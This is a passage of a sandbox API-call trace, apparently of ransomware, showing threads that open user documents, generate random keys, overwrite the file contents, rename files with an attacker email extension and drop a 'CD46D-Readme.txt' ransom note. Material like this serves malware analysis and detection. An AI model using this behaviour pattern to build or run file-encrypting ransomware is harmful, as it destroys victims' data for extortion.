(HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47ee0) returned 1 [0048.168] FlushFileBuffers (hFile=0x684) returned 1 [0048.169] CloseHandle (hObject=0x684) returned 1 [0048.171] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400d98 [0048.171] wcscpy (in: _Dest=0x400d98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.171] wcscat (in: _Dest=0x400d98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.171] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0xffffffff [0048.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0048.205] WriteFile (in: hFile=0x6c0, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x496f76c, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x496f76c*=0x6fd, lpOverlapped=0x0) returned 1 [0048.206] CloseHandle (hObject=0x6c0) returned 1 [0048.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400d98) returned 1 [0048.207] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400418) returned 1 Thread: id = 303 os_tid = 0xb34 [0047.496] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2arzby6up ga10yk.ppt")) returned 0x20 [0047.496] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt", dwFileAttributes=0x20) returned 1 [0047.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2arzby6up ga10yk.ppt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x688 [0047.496] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x2e8f98c | out: lpFileSize=0x2e8f98c*=42212) returned 1 [0047.496] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0xa4e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.496] ReadFile (in: hFile=0x688, lpBuffer=0x2e8f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e8f90c, lpOverlapped=0x0 | out: lpBuffer=0x2e8f910*, lpNumberOfBytesRead=0x2e8f90c*=0x4, lpOverlapped=0x0) returned 1 [0047.497] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e468a0 [0047.497] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46918 [0047.497] NtQuerySystemTime (in: CurrentTime=0x2e8f8ec | out: CurrentTime=0x2e8f8ec*=132174898114788000) returned 0x0 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x637c467a [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x54efd0f3 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x6d5a0563 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x3cbde8f8 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x44b18d14 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x57117639 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x399c5b7c [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x5534ed3d [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x18d7ae89 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x221fa26e [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x450173c [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x2b841452 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x68bc8e68 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x3433e525 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x39c8c9f8 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x79b42544 [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0xca723bd [0047.497] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x5ebb73f9 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x78737427 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x6fc675eb [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x311505ad [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x48546d69 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x5b253802 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0xa092370 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x6df622d0 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x740e57f4 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x1fbe64f1 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x5459e322 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x5ce45918 [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x39ab292a [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x4fab9ebe [0047.498] RtlRandomEx (in: Seed=0x2e8f8f8 | out: Seed=0x2e8f8f8) returned 0x2110b5dc [0047.509] ReadFile (in: hFile=0x688, lpBuffer=0x4d07f0, nNumberOfBytesToRead=0xa4e4, lpNumberOfBytesRead=0x2e8f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4d07f0*, lpNumberOfBytesRead=0x2e8f8e8*=0xa4e4, lpOverlapped=0x0) returned 1 [0047.510] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.510] WriteFile (in: hFile=0x688, lpBuffer=0x4dcff8*, nNumberOfBytesToWrite=0xa4e4, lpNumberOfBytesWritten=0x2e8f8e4, lpOverlapped=0x0 | out: lpBuffer=0x4dcff8*, lpNumberOfBytesWritten=0x2e8f8e4*=0xa4e4, lpOverlapped=0x0) returned 1 [0047.969] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd68 [0047.969] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edd90 [0047.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd90) returned 1 [0047.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4dcff8) returned 1 [0047.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d07f0) returned 1 [0047.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419388) returned 1 [0047.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0047.969] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x40a2e8 [0047.969] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.969] WriteFile (in: hFile=0x688, lpBuffer=0x44d658*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x2e8f94c, lpOverlapped=0x0 | out: lpBuffer=0x44d658*, lpNumberOfBytesWritten=0x2e8f94c*=0x119, lpOverlapped=0x0) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d658) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ee8) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd90) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a2e8) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edd68) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e468a0) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46940) returned 1 [0048.102] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46968) returned 1 [0048.102] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00060 [0048.103] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt" [0048.103] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d" [0048.103] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2e8f904, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2ArZby6Up Ga10Yk.ppt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.103] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x44c7b0 [0048.103] NtSetInformationFile (FileHandle=0x688, IoStatusBlock=0x2e8f8fc, FileInformation=0x44c7b0, Length=0xd8, FileInformationClass=0xa) returned 0x0 [0048.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7b0) returned 1 [0048.217] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4354b0) returned 1 [0048.217] NtQueryInformationFile (in: FileHandle=0x688, IoStatusBlock=0x2e8f910, FileInformation=0x2e8f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e8f910, FileInformation=0x2e8f8e8) returned 0x0 [0048.217] NtSetInformationFile (FileHandle=0x688, IoStatusBlock=0x2e8f910, FileInformation=0x2e8f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.218] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0048.218] FlushFileBuffers (hFile=0x688) returned 1 [0048.266] CloseHandle (hObject=0x688) returned 1 [0048.268] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400e18 [0048.268] wcscpy (in: _Dest=0x400e18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.268] wcscat (in: _Dest=0x400e18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.268] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.268] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400e18) returned 1 [0048.269] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447298) returned 1 Thread: id = 304 os_tid = 0xb38 [0047.511] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6etqjvsdr7 thy.docx")) returned 0x20 [0047.511] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx", dwFileAttributes=0x20) returned 1 [0047.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6etqjvsdr7 thy.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x68c [0047.511] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x2ddf858 | out: lpFileSize=0x2ddf858*=7312) returned 1 [0047.511] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x1c8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.511] ReadFile (in: hFile=0x68c, lpBuffer=0x2ddf7dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ddf7d8, lpOverlapped=0x0 | out: lpBuffer=0x2ddf7dc*, lpNumberOfBytesRead=0x2ddf7d8*=0x4, lpOverlapped=0x0) returned 1 [0047.512] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46918 [0047.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46990 [0047.512] NtQuerySystemTime (in: CurrentTime=0x2ddf7b8 | out: CurrentTime=0x2ddf7b8*=132174898114944000) returned 0x0 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x6195a6a7 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x71b3cf81 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x11f18766 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x257b6faf [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x4e0ce70a [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x1c64f54a [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x21498873 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x6beb3b24 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x6127bc92 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x35a250e4 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x3fc6f2f3 [0047.512] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x3683e34b [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x3795bba2 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x4d951ba7 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x22bdfc65 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0xdfb8ceb [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x351e2448 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x764aadb9 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x317c105 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x31a49c8a [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0xa9cb827 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x4fc3a03 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x6a104e57 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x70b691f9 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x5fd066c2 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x1d502b6e [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x1e9e0767 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x1c537d1 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x52934c9f [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x58e37a81 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x42d1e413 [0047.513] RtlRandomEx (in: Seed=0x2ddf7c4 | out: Seed=0x2ddf7c4) returned 0x1476ccd8 [0047.525] ReadFile (in: hFile=0x68c, lpBuffer=0x5e47060, nNumberOfBytesToRead=0x1c90, lpNumberOfBytesRead=0x2ddf7b4, lpOverlapped=0x0 | out: lpBuffer=0x5e47060*, lpNumberOfBytesRead=0x2ddf7b4*=0x1c90, lpOverlapped=0x0) returned 1 [0047.525] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.525] WriteFile (in: hFile=0x68c, lpBuffer=0x5e53868*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2ddf7b0, lpOverlapped=0x0 | out: lpBuffer=0x5e53868*, lpNumberOfBytesWritten=0x2ddf7b0*=0x1c90, lpOverlapped=0x0) returned 1 [0047.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eddb8 [0047.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edde0 [0047.973] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0047.973] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e53868) returned 1 [0047.974] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47060) returned 1 [0047.974] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45878) returned 1 [0047.974] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0047.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x40a4a8 [0047.974] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.974] WriteFile (in: hFile=0x68c, lpBuffer=0x441888*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x2ddf818, lpOverlapped=0x0 | out: lpBuffer=0x441888*, lpNumberOfBytesWritten=0x2ddf818*=0x117, lpOverlapped=0x0) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a428) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edde0) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a4a8) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eddb8) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46918) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e469b8) returned 1 [0048.104] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e469e0) returned 1 [0048.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x441888 [0048.104] wcscpy (in: _Dest=0x441888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx" [0048.104] wcscat (in: _Dest=0x441888, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d" [0048.104] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2ddf7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6EtqjVsDR7 tHY.docx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.105] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x44d538 [0048.105] NtSetInformationFile (FileHandle=0x68c, IoStatusBlock=0x2ddf7c8, FileInformation=0x44d538, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0048.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d538) returned 1 [0048.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x434e38) returned 1 [0048.220] NtQueryInformationFile (in: FileHandle=0x68c, IoStatusBlock=0x2ddf7dc, FileInformation=0x2ddf7b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ddf7dc, FileInformation=0x2ddf7b4) returned 0x0 [0048.220] NtSetInformationFile (FileHandle=0x68c, IoStatusBlock=0x2ddf7dc, FileInformation=0x2ddf7b4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.221] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0048.221] FlushFileBuffers (hFile=0x68c) returned 1 [0048.298] CloseHandle (hObject=0x68c) returned 1 [0048.299] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400b18 [0048.299] wcscpy (in: _Dest=0x400b18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.299] wcscat (in: _Dest=0x400b18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.299] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400b18) returned 1 [0048.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400898) returned 1 Thread: id = 305 os_tid = 0xb3c [0047.525] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6pt4fyxzesfb6thjm.rtf")) returned 0x20 [0047.526] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf", dwFileAttributes=0x20) returned 1 [0047.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6pt4fyXzESfB6THjM.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6pt4fyxzesfb6thjm.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x690 [0047.526] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x2bbfde0 | out: lpFileSize=0x2bbfde0*=35617) returned 1 [0047.526] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x8b1d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.526] ReadFile (in: hFile=0x690, lpBuffer=0x2bbfd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bbfd60, lpOverlapped=0x0 | out: lpBuffer=0x2bbfd64*, lpNumberOfBytesRead=0x2bbfd60*=0x4, lpOverlapped=0x0) returned 1 [0047.527] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417f8 [0047.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46990 [0047.527] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e46a08 [0047.527] NtQuerySystemTime (in: 